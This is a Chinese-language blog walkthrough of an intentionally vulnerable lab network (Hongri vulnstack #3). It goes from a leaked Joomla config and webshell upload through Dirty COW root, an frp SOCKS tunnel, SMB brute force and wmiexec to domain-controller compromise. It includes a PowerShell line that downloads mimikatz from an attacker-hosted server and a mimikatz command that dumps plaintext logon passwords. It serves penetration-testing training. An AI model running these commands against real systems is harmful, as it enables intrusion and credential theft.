个人公众号:白帽技术与网络安全
1、靶场介绍及设置
这是红日团队的第三套靶场(靶场下载地址见文末),本次靶场渗透涉及敏感信息泄露、暴力破解、脏牛提权、内网穿透、端口转发、以及域渗透等多种知识点。该靶场环境由5台机器组成,其中包括3台Windows机器和2台Linux机器。
靶场拓扑如下:
网卡配置
在虚拟机的网络编辑器中添加两个host only网卡,ip段分别为192.168.1.0/24和192.168.93.0/24
2.1.1、端口扫描
使用nmap进行端口扫描
Nmap -T4 -sC -sV 192.168.1.110
端口扫描发现外网服务器开启了22、80、3306端口,初步判断开启了SSH、HTTP和MySQL的数据库服务。
这里首先访问一下80端口,发现使用的是joomla CMS。(推荐一个谷歌插件:Wappalyzer)
知道是joomla了,那就使用msf的auxiliary/scanner/http/joomla_version模块扫一下看看版本。Joomla版本探测显示版本为3.9.12。
知道版本号之后就可以在网上的各大漏洞库(文末有常用的漏洞库链接)中搜索一下,是否存在可以利用的漏洞。由于唯一可用的rce需要管理员的账户和密码遂继续搜集信息。
2.1.2、目录扫描
接下来使用dirsearch进行目录扫描,发现了robots.txt、网站的后台/administrator/和一个configuration.php~文件
访问网站的后台发现一个登录框,使用burp suite抓包简单跑了一下,没跑出来。
接下来继续看一下配置文件都有什么
在配置文件中发现了数据库的账号和密码testuser/cvcvgjASD!@,于是使用工具连接数据库,成功!
拿到了数据库下一步就是要想办法添加一个账户,查看数据库后发现密码是加密存储的。由于加密算法未知,于是还得求助于搜索引擎。不得不说,Google yyds! 根据joomla的官方文档成功的添加一个用户admin2/serect。
使用刚刚添加的用户成功登录到了后台
在后台寻找到一处可以上传php的地方,直接上传我祖传的冰蝎马~
连接成功
试了一下无法执行命令,发现disable_functions禁用了一些可以执行命令或代码的函数。
Disable_functions
虽然无法执行命令但是可以浏览文件,那就先翻一翻文件。最后在/tmp/mysql/下发现一个test.txt文件,并在其中发现了账号密码。
由于服务器开启了SSH服务于是尝试登录一下,成功!经过简单信息搜集发现这是一台双网卡机器,并且内核较老,可以使用脏牛漏洞提权。
使用ftp上传提权脚本
执行提权脚本
提权成功。常用的脏牛提权脚本是生成firefart用户,我这里用的脚本直接覆盖了root用户的密码,将root用户的密码修改成了自己设定的123456。
为了方便内网渗透在这里搭建一个frp代理
frpc.ini配置如下
[common]
server_addr = 192.168.1.128 #kali的IP地址
server_port = 17000
token = 1q2w3e
pool_count = 5
protocol = tcp #协议类型
health_check_type = tcp
health_check_interval_s = 100
[test]
remote_port = 10000 #代理的端口
plugin = socks5 #使用的协议
use_encryption = true #是否加密
use_compression = true
frps.ini配置如下
[common]
bind_addr = 0.0.0.0 #绑定的ip,为本机
bind_port = 17000 #绑定的端口
dashboard_addr = 0.0.0.0 #管理地址
dashboard_port = 27500 #管理端口
dashboard_user = root #管理的用户名
dashboard_pwd = toor #管理用户的密码
token = 1q2w3e #客户端服务端连接的密码
heartbeat_timeout = 90 #心跳超时时间
max_pool_count = 5 #最大同时连接数
在kali上启动frp server
./frps -c frps.ini
在linux上启动frp client
./frpc -c frpc.ini
在本机上配置proxifier
测试代理
3.1、主机探测
使用MSF的auxiliary/scanner/smb/smb_version模块扫内网的存活主机,发现内网存在域名为TEST的三台域内主机,分别是
win7 192.168.93.30/24
不知名机器 192.168.93.20/24
Windows server 2012 R2 192.168.93.10/24
(那台不知名机器其他大佬测的时候都是正常的server 2008)
3.2、口令爆破
接下来使用smb_login模块爆破smb服务。在这一步,网上好多大佬都说使用了自己top10000的字典跑出了密码。非常巧,在我的top10000字典中恰好没有这个密码(所以为了伪装成一个大佬我就手动把密码加了进去~)
跑出了两台机器192.168.93.30/192.168.93.20的密码都是123qwe!ASD
既然拿到了密码,接下来就可以使用wmiexec获取一个shell。
.\wmiexec_windows.exe administrator:[email protected]
# WMI的全名为“Windows Management Instrumentation”。WMI是由一系列工具集组成的,可以在本地或者远程管理计算机系统。从Windows 98开始,Windows操作系统都支持WMI。利用WMI可以进行信息收集、探测、反病毒、虚拟机检测、命令执行、权限持久化等操作。在使用wmiexec进行横向移动时,Windows操作系统默认不会将WMI的操作记录在日志中,同时攻击脚本无需写入到磁盘,具有极高的隐蔽性。
执行ipconfig /all发现dns服务器为192.168.93.10,初步判断域控就是这台Windows 2012
看了一下进程列表没有发现杀软进程
3.3、mimikatz抓密码
因为内网主机不出网所以将mimikatz上传到Linux机器上,在Linux上使用python启动一个http服务。
python -m SimpleHTTPServer 8080
在Windows server2008上使用powershell下载到本地并执行,这里有一个问题就是使用wmiexec获取到的只是一个半交互的shell,所以mimikatz执行的结果需要保存在日志中方便读取。
powershell (new-object Net.WebClient).DownloadFile('http://192.168.93.100:8888/kiwikatz.exe','C:\mimikatz.exe')
执行后查看日志发现抓到了域控的明文口令
mimikatz.exe log privilege::debug sekurlsa::logonpasswords
使用wmiexec连接域控
最终在C:\Users\Adminisreator\Documents\目录下找到flag.txt
Capture the flag! 收工!
总的来说这个靶场环境的渗透并不算难,但是在第一次做的时候依旧花费了一天的时间。在这之后又按照网上各位大佬渗透思路做了几次,每一次都会有一些新的收获。
靶场地址
http://vulnstack.qiyuanxuetang.net/vuln/detail/5/
漏洞库
https://www.exploit-db.com
https://www.pwnwiki.org/
http://wiki.peiqi.tech/
https://github.com/EdgeSecurityTeam/Vulnerability
浏览器插件
https://chrome.google.com/webstore/detail/wappalyzer/gppongmhjkpfnbhagpmjfkannfbllamg?utm_source=chrome-ntp-icon